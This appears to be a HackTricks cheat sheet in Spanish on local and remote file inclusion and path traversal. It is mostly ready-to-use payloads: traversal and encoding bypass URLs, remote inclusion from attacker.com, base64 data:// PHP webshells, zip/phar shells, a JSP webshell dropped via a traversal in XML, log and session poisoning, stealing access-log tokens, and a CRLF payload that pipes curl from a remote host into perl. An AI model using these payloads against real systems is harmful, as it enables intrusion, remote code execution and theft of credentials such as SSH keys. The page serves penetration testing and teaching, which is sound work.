File Inclusion/Path traversal
Reading time: 31 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
File Inclusion
Remote File Inclusion (RFI): El archivo se carga desde un servidor remoto (Lo mejor: puedes escribir el código y el servidor lo ejecutará). En php esto está deshabilitado por defecto (allow_url_include).
Local File Inclusion (LFI): El servidor carga un archivo local.
La vulnerabilidad ocurre cuando el usuario puede controlar de alguna manera el archivo que va a ser cargado por el servidor.
Funciones PHP vulnerables: require, require_once, include, include_once
Una herramienta interesante para explotar esta vulnerabilidad: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
*Combinando varias listas nix de LFI y añadiendo más rutas he creado esta:
Prueba también a cambiar /
por \
Prueba también a añadir ../../../../../
Una lista que usa varias técnicas para encontrar el archivo /etc/password (para comprobar si existe la vulnerabilidad) puede encontrarse here
Windows
Mezcla de diferentes wordlists:
Prueba también a cambiar /
por \
Prueba también a quitar C:/
y añadir ../../../../../
Una lista que usa varias técnicas para encontrar el archivo /boot.ini (para comprobar si existe la vulnerabilidad) puede encontrarse here
OS X
Revisa la lista LFI de linux.
LFI básico y bypasses
Todos los ejemplos son para Local File Inclusion pero podrían aplicarse también a Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
secuencias de traversal eliminadas no recursivamente
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Bypass la adición de más caracteres al final de la cadena proporcionada (bypass of: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
Esto está resuelto desde PHP 5.4
Codificación
Podrías usar codificaciones no estándar como double URL encode (y otras):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Desde una carpeta existente
Quizás el back-end esté comprobando la ruta de la carpeta:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Explorando directorios del sistema de archivos en un servidor
El sistema de archivos de un servidor puede explorarse de forma recursiva para identificar directorios, no solo archivos, empleando ciertas técnicas. Este proceso implica determinar la profundidad del directorio y sondear la existencia de carpetas específicas. A continuación se muestra un método detallado para lograrlo:
- Determinar la profundidad del directorio: Averigua la profundidad de tu directorio actual obteniendo con éxito el archivo
/etc/passwd
(aplicable si el servidor está basado en Linux). Un URL de ejemplo podría estructurarse de la siguiente manera, indicando una profundidad de tres:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Probe for Folders: Añade el nombre de la carpeta sospechada (p. ej.,
private
) a la URL, luego vuelve a/etc/passwd
. El nivel de directorio adicional requiere incrementar la profundidad en uno:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Interpret the Outcomes: La respuesta del servidor indica si la carpeta existe:
- Error / Sin salida: La carpeta
private
probablemente no existe en la ubicación especificada. - Contenido de
/etc/passwd
: Se confirma la presencia de la carpetaprivate
.
- Exploración recursiva: Las carpetas descubiertas pueden explorarse más a fondo para buscar subdirectorios o archivos usando la misma técnica o métodos tradicionales de Local File Inclusion (LFI).
Para explorar directorios en diferentes ubicaciones del sistema de archivos, ajusta el payload en consecuencia. Por ejemplo, para comprobar si /var/www/
contiene un directorio private
(suponiendo que el directorio actual esté a una profundidad de 3), usa:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation es un método utilizado para manipular rutas de archivos en aplicaciones web. A menudo se usa para acceder a archivos restringidos al evadir ciertas medidas de seguridad que agregan caracteres adicionales al final de las rutas de archivos. El objetivo es crear una ruta de archivo que, una vez modificada por la medida de seguridad, siga apuntando al archivo deseado.
En PHP, varias representaciones de una ruta de archivo pueden considerarse equivalentes debido a la naturaleza del sistema de archivos. Por ejemplo:
/etc/passwd
,/etc//passwd
,/etc/./passwd
, and/etc/passwd/
son tratados como la misma ruta.- Cuando los últimos 6 caracteres son
passwd
, agregar un/
(convirtiéndolo enpasswd/
) no cambia el archivo objetivo. - De manera similar, si se añade
.php
a una ruta de archivo (comoshellcode.php
), añadir/.
al final no alterará el archivo accedido.
Los ejemplos proporcionados muestran cómo utilizar path truncation para acceder a /etc/passwd
, un objetivo común debido a su contenido sensible (información de cuentas de usuario):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
En estos escenarios, el número de traversals necesarios podría estar en torno a 2027, pero este número puede variar según la configuración del servidor.
- Using Dot Segments and Additional Characters: Las secuencias de traversal (
../
) combinadas con segmentos de punto adicionales y caracteres pueden usarse para navegar por el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor. - Determining the Required Number of Traversals: Mediante prueba y error, se puede encontrar el número preciso de
../
necesarios para alcanzar el directorio raíz y luego/etc/passwd
, asegurando que cualquier cadena añadida (como.php
) quede neutralizada pero que la ruta deseada (/etc/passwd
) permanezca intacta. - Starting with a Fake Directory: Es una práctica común comenzar la ruta con un directorio inexistente (como
a/
). Esta técnica se usa como medida de precaución o para cumplir los requisitos de la lógica de parsing de rutas del servidor.
When employing path truncation techniques, es crucial entender el comportamiento de parsing de rutas del servidor y la estructura del sistema de archivos. Cada escenario puede requerir un enfoque diferente, y a menudo son necesarias pruebas para encontrar el método más efectivo.
Esta vulnerabilidad fue corregida en PHP 5.3.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
En php esto está deshabilitado por defecto porque allow_url_include
está Off. Debe estar On para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Si por alguna razón allow_url_include
está On, pero PHP está filtering el acceso a páginas web externas, según este post, podrías usar, por ejemplo, el protocolo data con base64 para decodificar un código PHP b64 y obtener RCE:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
tip
En el código anterior, el +.txt
final se añadió porque el atacante necesitaba una cadena que terminara en .txt
, así que la cadena termina con ello y, después de la decodificación b64, esa parte solo devolverá basura y el código PHP real será incluido (y, por tanto, ejecutado).
Otro ejemplo sin usar el protocolo php://
sería:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Elemento Root de Python
En python, en un código como este:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Si el usuario pasa una ruta absoluta a file_name
, la ruta anterior simplemente se elimina:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
Es el comportamiento previsto según the docs:
Si un componente es una ruta absoluta, todos los componentes anteriores se descartan y la unión continúa desde el componente de ruta absoluta.
Java Listar directorios
Parece que si tienes un Path Traversal en Java y pides un directorio en lugar de un archivo, se devuelve un listado del directorio. Esto no ocurrirá en otros lenguajes (afaik).
Top 25 parámetros
Aquí tienes la lista de los Top 25 parámetros que podrían ser vulnerables a local file inclusion (LFI) (de link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI using PHP wrappers & protocols
php://filter
PHP filters permiten realizar operaciones básicas de modificación sobre los datos antes de que sean leídos o escritos. Hay 5 categorías de filtros:
- String Filters:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Eliminar etiquetas de los datos (todo lo que esté entre los caracteres "<" y ">")- Ten en cuenta que este filtro ha desaparecido de las versiones modernas de PHP
- Conversion Filters
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Transforma a una codificación diferente (convert.iconv.<input_enc>.<output_enc>
). Para obtener la lista de todas las codificaciones compatibles, ejecuta en la consola:iconv -l
warning
Abusando del filtro de conversión convert.iconv.*
puedes generar texto arbitrario, lo cual puede ser útil para escribir texto arbitrario o hacer que una función como include procese texto arbitrario. Para más info check LFI2RCE via php filters.
- Compression Filters
zlib.deflate
: Comprime el contenido (útil si exfiltrating a lot of info)zlib.inflate
: Descomprime los datos- Encryption Filters
mcrypt.*
: Deprecadomdecrypt.*
: Deprecado- Other Filters
- Ejecutando en php
var_dump(stream_get_filters());
puedes encontrar un par de filtros inesperados: consumed
dechunk
: revierte la codificación chunked de HTTPconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
warning
La parte "php://filter" no distingue entre mayúsculas y minúsculas
Usando php filters como oráculo para leer archivos arbitrarios
In this post se propone una técnica para leer un archivo local sin que el servidor devuelva la salida. Esta técnica se basa en una exfiltración booleana del archivo (carácter por carácter) usando php filters como oráculo. Esto es porque php filters pueden usarse para agrandar un texto lo suficiente como para que php lance una excepción.
En la entrada original encontrarás una explicación detallada de la técnica, pero aquí hay un resumen rápido:
- Use the codec
UCS-4LE
to leave leading character of the text at the begging and make the size of string increases exponentially. - This will be used to generate a text so big when the initial letter is guessed correctly that php will trigger an error
- The dechunk filter will remove everything if the first char is not an hexadecimal, so we can know if the first char is hex.
- This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won't delete it and the initial bomb will make php error.
- The codec convert.iconv.UNICODE.CP930 transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an
a
for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb. - Using other transformations like rot13 at the beginning it’s possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
- When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
- The final problem is to see how to leak more than the initial letter. By using order memory filters like convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE is possible to change the order of the chars and get in the first position other letters of the text.
- And in order to be able to obtain further data the idea if to generate 2 bytes of junk data at the beginning with convert.iconv.UTF16.UTF16, apply UCS-4LE to make it pivot with the next 2 bytes, and delete the data until the junk data (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the desired bit to leak.
In the post a tool to perform this automatically was also leaked: php_filters_chain_oracle_exploit.
php://fd
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
También puedes usar php://stdin, php://stdout and php://stderr para acceder a los file descriptors 0, 1 and 2 respectivamente (no estoy seguro de cómo esto podría ser útil en un ataque)
zip:// y rar://
Sube un archivo Zip o Rar con un PHPShell dentro y accede a él.\ Para poder abusar del rar protocol, este debe activarse específicamente.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Ten en cuenta que este protocolo está restringido por las configuraciones de php allow_url_open
y allow_url_include
expect://
Expect debe estar activado. Puedes ejecutar código usando esto:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Especifique su payload en los parámetros POST:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Un archivo .phar
puede utilizarse para ejecutar código PHP cuando una aplicación web emplea funciones como include
para cargar archivos. El fragmento de código PHP que se muestra a continuación demuestra la creación de un archivo .phar
:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Para compilar el archivo .phar
, se debe ejecutar el siguiente comando:
php --define phar.readonly=0 create_path.php
Al ejecutarse, se creará un archivo llamado test.phar
, que potencialmente podría aprovecharse para explotar vulnerabilidades de Local File Inclusion (LFI).
En los casos en que el LFI solo realiza la lectura de archivos sin ejecutar el código PHP contenido, mediante funciones como file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
o filesize()
, se podría intentar explotar una vulnerabilidad de deserialización. Esta vulnerabilidad está asociada con la lectura de archivos usando el protocolo phar
.
Para una comprensión detallada de la explotación de vulnerabilidades de deserialización en el contexto de archivos .phar
, consulte el documento enlazado a continuación:
Phar Deserialization Exploitation Guide
CVE-2024-2961
It was possible to abuse any arbitrary file read from PHP that supports php filters to get a RCE. The detailed description can be found in this post.
Very quick summary: a 3 byte overflow in the PHP heap was abused to alter the chain of free chunks of anspecific size in order to be able to write anything in any address, so a hook was added to call system
.
It was possible to alloc chunks of specific sizes abusing more php filters.
Más protocolos
Check more possible protocols to include here:
- php://memory and php://temp — Escribe en memoria o en un archivo temporal (no estoy seguro de cómo esto puede ser útil en un file inclusion attack)
- file:// — Acceso al filesystem local
- http:// — Acceso a URLs HTTP(s)
- ftp:// — Acceso a URLs FTP(s)
- zlib:// — Compression Streams
- glob:// — Find pathnames matching pattern (No devuelve nada imprimible, así que no es realmente útil aquí)
- ssh2:// — Secure Shell 2
- ogg:// — Audio streams (No útil para leer archivos arbitrarios)
LFI via PHP's 'assert'
Los riesgos de Local File Inclusion (LFI) en PHP son particularmente elevados cuando se usa la función 'assert', que puede ejecutar código dentro de cadenas. Esto es especialmente problemático si se comprueba una entrada que contiene caracteres de directory traversal como ".." pero no se sanitiza correctamente.
For example, PHP code might be designed to prevent directory traversal like so:
assert("strpos('$file', '..') === false") or die("");
Aunque esto tiene como objetivo detener el traversal, crea inadvertidamente un vector para code injection. Para explotarlo y leer el contenido de archivos, un atacante podría usar:
' and die(highlight_file('/etc/passwd')) or '
De manera similar, para ejecutar comandos arbitrarios del sistema, se podría usar:
' and die(system("id")) or '
Es importante URL-encode these payloads.
PHP Blind Path Traversal
warning
Esta técnica es relevante en casos donde tú controlas la file path de una PHP function que va a access a file pero no verás el contenido del archivo (como una llamada simple a file()
) aunque el contenido no se muestra.
En this incredible post se explica cómo un blind path traversal puede abusarse vía PHP filter para exfiltrate the content of a file via an error oracle.
En resumen, la técnica usa la codificación "UCS-4LE" para hacer que el contenido de un archivo sea tan big que la función PHP que abre el archivo desencadene un error.
Luego, para leak el primer char se usa el filtro dechunk
junto con otros como base64
o rot13
y finalmente se usan los filtros convert.iconv.UCS-4.UCS-4LE
y convert.iconv.UTF16.UTF-16BE
para colocar otros chars al principio y leak them.
Functions that might be vulnerable: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (only target read only with this)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
¡Para los detalles técnicos revisa el post mencionado!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
Cuando el código del lado servidor que ingiere/sube archivos construye la ruta de destino usando datos controlados por el usuario (p. ej., un filename o URL) sin canonicalizar y validar, los segmentos ..
y rutas absolutas pueden escapar del directorio previsto y causar un arbitrary file write. Si puedes colocar el payload bajo un directorio expuesto en la web, normalmente obtendrás una RCE no autenticada al droppear un webshell.
Typical exploitation workflow:
- Identificar un write primitive en un endpoint o worker en background que acepte una path/filename y escriba contenido en disco (p. ej., ingestion driven por mensajes, handlers de comandos XML/JSON, extractores de ZIP, etc.).
- Determinar directorios web-exposed. Ejemplos comunes:
- Apache/PHP:
/var/www/html/
- Tomcat/Jetty:
<tomcat>/webapps/ROOT/
→ dropshell.jsp
- IIS:
C:\inetpub\wwwroot\
→ dropshell.aspx
- Crear una traversal path que salga del directorio de almacenamiento previsto hacia el webroot, e incluir tu contenido de webshell.
- Navegar al payload dejado y ejecutar comandos.
Notas:
- El servicio vulnerable que realiza la escritura puede escuchar en un puerto no HTTP (p. ej., un listener JMF XML en TCP 4004). El portal web principal (otro puerto) servirá luego tu payload.
- En stacks Java, estas escrituras de archivos a menudo se implementan con simple concatenación de
File
/Paths
. La falta de canonicalización/allow-listing es la falla central.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Medidas de hardening que derrotan esta clase de fallos:
- Resuelve la ruta a su forma canónica y exige que sea descendiente de un directorio base en la lista de permitidos.
- Rechaza cualquier ruta que contenga
..
, raíces absolutas, o letras de unidad; prefiere nombres de archivo generados. - Ejecuta el proceso de escritura con una cuenta de bajos privilegios y separa los directorios de escritura de las raíces servidas.
Remote File Inclusion
Explicado anteriormente, follow this link.
Vía archivo de log de Apache/Nginx
Si el servidor Apache o Nginx es vulnerable a LFI dentro de la función include podrías intentar acceder a /var/log/apache2/access.log
or /var/log/nginx/access.log
, poner dentro del user agent o dentro de un GET parameter un php shell como <?php system($_GET['c']); ?>
e incluir ese archivo
warning
Ten en cuenta que si usas comillas dobles para el shell en lugar de comillas simples, las comillas dobles serán modificadas por la cadena "quote;", PHP lanzará un error allí y no se ejecutará nada más.
Además, asegúrate de escribir correctamente el payload o PHP dará error cada vez que intente cargar el archivo de log y no tendrás una segunda oportunidad.
Esto también podría hacerse en otros logs pero ten cuidado, el código dentro de los logs podría estar URL encoded y esto podría destruir el Shell. El header authorisation "basic" contiene "user:password" en Base64 y se decodifica dentro de los logs. La PHPShell podría insertarse dentro de este header.
Otras rutas de logs posibles:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Leer access logs para recolectar GET-based auth tokens (token replay)
Muchas apps aceptan por error session/auth tokens vía GET (p. ej., AuthenticationToken, token, sid). Si tienes un primitive de path traversal/LFI que te permite acceder a los access logs del servidor web, puedes robar esos tokens de los access logs y hacerles replay para eludir completamente la authentication.
How-to:
- Usa el path traversal/LFI para leer el access log del servidor web. Ubicaciones comunes:
- /var/log/apache2/access.log, /var/log/httpd/access_log
- /var/log/nginx/access.log
- Algunos endpoints devuelven file reads Base64-encoded. Si es así, decodifica localmente e inspecciona las líneas del log.
- Grep por GET requests que incluyan un parámetro token y captura su valor, luego haz replay contra el application entry point.
Example flow (generic):
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
Decodifica el body si está en Base64, luego reenvía un token capturado:
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target
Notas:
- Tokens in URLs are logged by default; never accept bearer tokens via GET in production systems.
- Si la app soporta múltiples nombres de token, busca claves comunes como AuthenticationToken, token, sid, access_token.
- Rota cualquier tokens que pueda haber leaked en los logs.
Vía Email
Envía un mail a una cuenta interna (user@localhost) que contenga tu PHP payload como <?php echo system($_REQUEST["cmd"]); ?>
y trata de incluirlo en el correo del usuario con una ruta como /var/mail/<USERNAME>
o /var/spool/mail/<USERNAME>
Vía /proc/*/fd/*
- Sube muchas shells (por ejemplo: 100)
- Incluye http://example.com/index.php?page=/proc/$PID/fd/$FD, con $PID = PID del proceso (puede obtenerse por fuerza bruta) y $FD el descriptor de archivo (también puede obtenerse por fuerza bruta)
Vía /proc/self/environ
Como un archivo de registro, envía el payload en el User-Agent; será reflejado dentro del archivo /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Vía upload
Si puedes upload un archivo, simplemente inyecta el shell payload en él (e.g : <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
Para mantener el archivo legible, es mejor inyectar en los metadatos de las imágenes/doc/pdf
Vía subida de archivo ZIP
Sube un archivo ZIP que contenga un PHP shell comprimido y accede a:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Mediante PHP sessions
Comprueba si el sitio web usa PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
En PHP estas sesiones se almacenan en /var/lib/php5/sess\[PHPSESSID]_ archivos
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Configura la cookie como <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Usa el LFI para incluir el archivo de sesión de PHP
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Vía ssh
Si ssh está activo, comprueba qué usuario se está usando (/proc/self/status & /etc/passwd) y prueba acceder a <HOME>/.ssh/id_rsa
Vía vsftpd registros
Los registros del servidor FTP vsftpd están ubicados en /var/log/vsftpd.log. En el escenario donde exista una vulnerabilidad Local File Inclusion (LFI), y sea posible acceder a un servidor vsftpd expuesto, se pueden considerar los siguientes pasos:
- Inyecta un payload PHP en el campo username durante el proceso de login.
- Tras la inyección, utiliza la LFI para recuperar los registros del servidor desde /var/log/vsftpd.log.
Vía php base64 filter (using base64)
Como se muestra en this article, el PHP base64 filter simplemente ignora caracteres no base64. Puedes usar eso para eludir la comprobación de la extensión de archivo: si suministras base64 que termina con ".php", simplemente ignorará el "." y añadirá "php" al base64. Aquí hay un ejemplo de payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Vía php filters (no se necesita archivo)
This writeup explains that you can use php filters to generate arbitrary content as output. Which basically means that you can generate arbitrary php code for the include without needing to write it into a file.
Vía segmentation fault
Sube un archivo que se almacenará como temporal en /tmp
, luego en la misma request provoca un segmentation fault, y entonces el archivo temporal no será eliminado y podrás buscarlo.
LFI2RCE via Segmentation Fault
Vía Nginx temp file storage
Si encontraste una Local File Inclusion y Nginx está ejecutándose delante de PHP, podrías obtener RCE con la siguiente técnica:
Vía PHP_SESSION_UPLOAD_PROGRESS
Si encontraste una Local File Inclusion incluso si no tienes sesión y session.auto_start
está Off
. Si proporcionas el PHP_SESSION_UPLOAD_PROGRESS
en datos multipart POST, PHP habilitará la sesión por ti. Podrías abusar de esto para obtener RCE:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Vía temp file uploads in Windows
Si encontraste una Local File Inclusion y el servidor está ejecutándose en Windows, podrías obtener RCE:
Vía pearcmd.php
+ URL args
As explained in this post, the script /usr/local/lib/phppearcmd.php
exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an =
, it should be used as an argument. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.
The following request create a file in /tmp/hello.php
with the content <?=phpinfo()?>
:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Lo siguiente abusa de una CRLF vuln para obtener RCE (desde here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Via phpinfo() (file_uploads = on)
Si encuentras una Local File Inclusion y un archivo que expone phpinfo() con file_uploads = on, puedes obtener RCE:
Via compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Path Disclosure
Si encuentras una Local File Inclusion y puedes exfiltrar la ruta del archivo temporal PERO el servidor está comprobando si el archivo a incluir tiene marcas PHP, puedes intentar bypass that check con esta Race Condition:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Via eternal waiting + bruteforce
Si puedes abusar del LFI para subir archivos temporales y hacer que el servidor cuelgue la ejecución de PHP, podrías entonces bruteforce filenames durante horas para encontrar el archivo temporal:
To Fatal Error
If you include any of the files /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
. (You need to include the same one 2 time to throw that error).
No sé cómo puede ser útil esto pero podría serlo.
Incluso si causas un PHP Fatal Error, los archivos temporales de PHP subidos son eliminados.
.png)
References
-
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
-
When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.